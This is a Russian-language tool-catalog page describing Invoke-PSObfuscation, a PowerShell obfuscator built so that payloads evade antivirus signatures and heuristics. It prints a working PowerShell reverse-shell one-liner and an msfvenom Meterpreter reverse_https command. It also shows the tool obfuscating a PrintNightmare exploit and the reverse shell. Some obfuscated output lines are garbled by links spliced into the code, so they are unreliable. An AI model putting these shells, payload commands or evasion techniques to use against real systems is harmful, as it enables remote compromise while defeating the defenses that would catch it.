Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/gh0x0st/invoke-psobfuscation
Генерация полезной нагрузкиЭксплуатацияШелл-кодRed TeamingРазработка Полезной Нагрузки
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Глубокий подход к обфускации отдельных компонентов полезной нагрузки PowerShell, будь то в Windows или Kali Linux.

Репозиторий
284524 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Invoke-PSObfuscation

Традиционные методы обфускации, как правило, добавляют слои для инкапсуляции готового кода, например base64 или сжатие. Такие полезные нагрузки продолжают иметь разную степень успеха, но их стало тривиально извлекать, а некоторые загрузчики часто обнаруживаются, что по сути создает узкие места.

Подход, который представляет этот инструмент, — это методология, позволяющая нацеливаться и обфусцировать отдельные компоненты скрипта со случайными вариациями, достигая при этом той же заложенной логики, без инкапсуляции всей полезной нагрузки в единый слой. Из-за сложности логики обфускации результирующие полезные нагрузки будет очень сложно подписать, и они проскользнут мимо эвристических движков, не запрограммированных на эмуляцию унаследованной логики.

Хотя этот скрипт может успешно обфусцировать большинство полезных нагрузок самостоятельно, этот проект также послужит постоянной основой, которую я буду использовать для создания будущих функций, которые будут использовать эту основу для предоставления специализированных обфусцированных полезных нагрузок, например той, которая создает только обратные оболочки.

Я написал статью в блоге для Offensive Security в качестве введения в техники, которые представляет этот инструмент. Прежде чем углубляться дальше, рекомендую сначала прочитать её: https://www.offensive-security.com/offsec/powershell-obfuscation/

Выделенные полезные нагрузки

В рамках моей текущей работы по обфускации PowerShell я создаю скрипты, которые генерируют специализированные полезные нагрузки, использующие эту основу. Они помогли мне сэкономить время, и я надеюсь, они будут полезны и вам. Вы можете найти их в собственных папках в корне этого репозитория.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Компоненты

Как и многие другие языки программирования, PowerShell можно разбить на множество различных компонентов, составляющих исполняемую логику. Это позволяет нам относительно легко обходить сигнатурные детекции, изменяя то, как мы представляем отдельные компоненты в полезной нагрузке, в замаскированную или непонятную производную.

Имейте в виду, что нацеливание на каждый компонент в сложных полезных нагрузках очень навязчиво. Этот инструмент построен так, чтобы вы могли контролируемо выбирать компоненты для обфускации. Я обнаружил, что многие сигнатуры можно обойти, просто нацелившись на командлеты, переменные и любые комментарии. При использовании этого против сложных полезных нагрузок, таких как print nightmare, помните, что кастомные параметры функций / переменные также будут изменены. Всегда тщательно тестируйте результирующие полезные нагрузки и убедитесь, что вы знаете о любых измененных именованных параметрах.

Типы компонентов, такие как пайпы и переменные конвейера, представлены здесь, чтобы сделать вашу полезную нагрузку более запутанной и сложной для декодирования.

Поддерживаемые типы

  • Псевдонимы (iex)
  • Командлеты (New-Object)
  • Комментарии (# и <# #>)
  • Целые числа (4444)
  • Методы ($client.GetStream())
  • Пространства имен классов (System.Net.Sockets.TCPClient)
  • Пайпы (|)
  • Переменные конвейера ($_)
  • Строки ("value" | 'value')
  • Переменные ($client)

Генераторы

Каждый компонент имеет свой собственный выделенный генератор, который содержит список возможных статических или динамически генерируемых значений, случайным образом выбираемых при каждом выполнении. Если существует несколько экземпляров компонента, генератор будет обрабатывать каждый из них по отдельности. Это добавляет степень случайности каждый раз, когда вы запускаете этот инструмент для данной полезной нагрузки, так что каждая итерация будет отличаться. Единственное исключение — имена переменных.

Если алгоритм, связанный с конкретным компонентом, начинает вызывать флаги полезной нагрузки, текущий дизайн позволяет легко изменить логику для этого генератора, не нарушая работу всего скрипта.

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Требования

Эта основа и результирующие полезные нагрузки были протестированы на следующих операционных системах и версиях PowerShell. Результирующие обратные оболочки не будут работать на PowerShell v2.0.

Примеры использования

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Слой 0 обфускации
     >> https://github.com/gh0x0st

[*] Обфускация пространств имен классов
[*] Обфускация командлетов
[*] Обфускация переменных
[-] -DriverName теперь -QhYm48JbCsqF
[-] -NewUser теперь -ybrcKe
[-] -NewPassword теперь -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL теперь -dNr
[-] -ModuleName теперь -jd
[-] -Module теперь -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type теперь -fjTOTLDCGufqEu
[-] -FullName теперь -0vEKnCqm
[-] -EnumElements теперь -B9aFqfvDbjtOXPxrR
[-] -Bitfield теперь -bFUCG7LB9gq50p4e
[-] -StructFields теперь -xKryDRQnLdjTC8
[-] -PackingSize теперь -0CB3X
[-] -ExplicitLayout теперь -YegeaeLpPnB
[*] Удаление комментариев
[*] Запись полезной нагрузки в o-printnightmare.ps1
[*] Готово

PS /home/tristram> 

PowerShell Reverse Shell

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Слой 0 обфускации
     >> https://github.com/gh0x0st

[*] Обфускация целых чисел
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Обфускация строк
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Обфускация командлетов
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Запись полезной нагрузки в /home/tristram/obfuscated.ps1
[*] Готово

Обфусцированная PowerShell Reverse Shell

Alt text

Meterpreter PowerShell Shellcode

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Слой 0 обфускации
     >> https://github.com/gh0x0st

[*] Обфускация целых чисел
[*] Обфускация переменных
[*] Запись полезной нагрузки в o-meterpreter.ps1
[*] Готово

Справка на основе комментариев

root@kitploit:~
<#
    .SYNOPSIS
        Преобразует скрипты PowerShell в нечто замаскированное, неясное или непонятное.
    
    .DESCRIPTION
        В то время как большинство инструментов обфускации склонны добавлять слои для инкапсуляции готового кода, такие как base64 или сжатие,
        они обычно оставляют целевую полезную нагрузку нетронутой, что по сути создает узкие места. Invoke-PSObfuscation
        фокусируется на замене существующих компонентов вашего кода, или слоя 0, альтернативными значениями.
    
    .PARAMETER Path
        Полезная нагрузка PowerShell, предоставленная пользователем в виде обычного файла.
    
    .PARAMETER All
        Флаг all используется для задействования всех поддерживаемых компонентов обфускации заданной полезной нагрузки. Это действие очень навязчиво
        и может привести к нарушению работы вашей полезной нагрузки. При использовании с ванильной обратной оболочкой проблем быть не должно.
        Однако с более сложными полезными нагрузками рекомендуется нацеливаться на конкретные компоненты. Имейте в виду, что некоторые
        генераторы, представленные в этом скрипте, могут даже запутать вашу ISE, поэтому обязательно тестируйте должным образом.
        
    .PARAMETER Aliases
        Флаг aliases используется для указания функции обфусцировать псевдонимы.

    .PARAMETER Cmdlets
        Флаг cmdlets используется для указания функции обфусцировать командлеты.

    .PARAMETER Comments
        Флаг comments используется для указания функции удалить все комментарии.

    .PARAMETER Integers
        Флаг integers используется для указания функции обфусцировать целые числа.

    .PARAMETER Methods
        Флаг methods используется для указания функции обфусцировать вызовы методов.

    .PARAMETER NamespaceClasses
        Флаг namespaceclasses используется для указания функции обфусцировать классы пространств имен.
    
    .PARAMETER Pipes
        Флаг pipes используется для указания функции обфусцировать пайпы.

    .PARAMETER PipelineVariables
        Флаг pipelinevariables используется для указания функции обфусцировать переменные конвейера.

    .PARAMETER ShowChanges
        Флаг ShowChanges используется для указания скрипту отображать исходные и обфусцированные значения на экране.

    .PARAMETER Strings
        Флаг strings используется для указания функции обфусцировать строки приглашений.
  
    .PARAMETER Variables
        Флаг variables используется для указания функции обфусцировать переменные.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Дополнительная информация о функции.
#>
Скачать инструмент
Версия PSПротестировано на ОСInvoke-PSObfuscation.ps1Reverse Shell
7.1.3Kali 2021.2ПоддерживаетсяПоддерживается
5.1.19041.1023Windows 10 10.0.19042ПоддерживаетсяПоддерживается
5.1.21996.1Windows 11 10.0.21996ПоддерживаетсяПоддерживается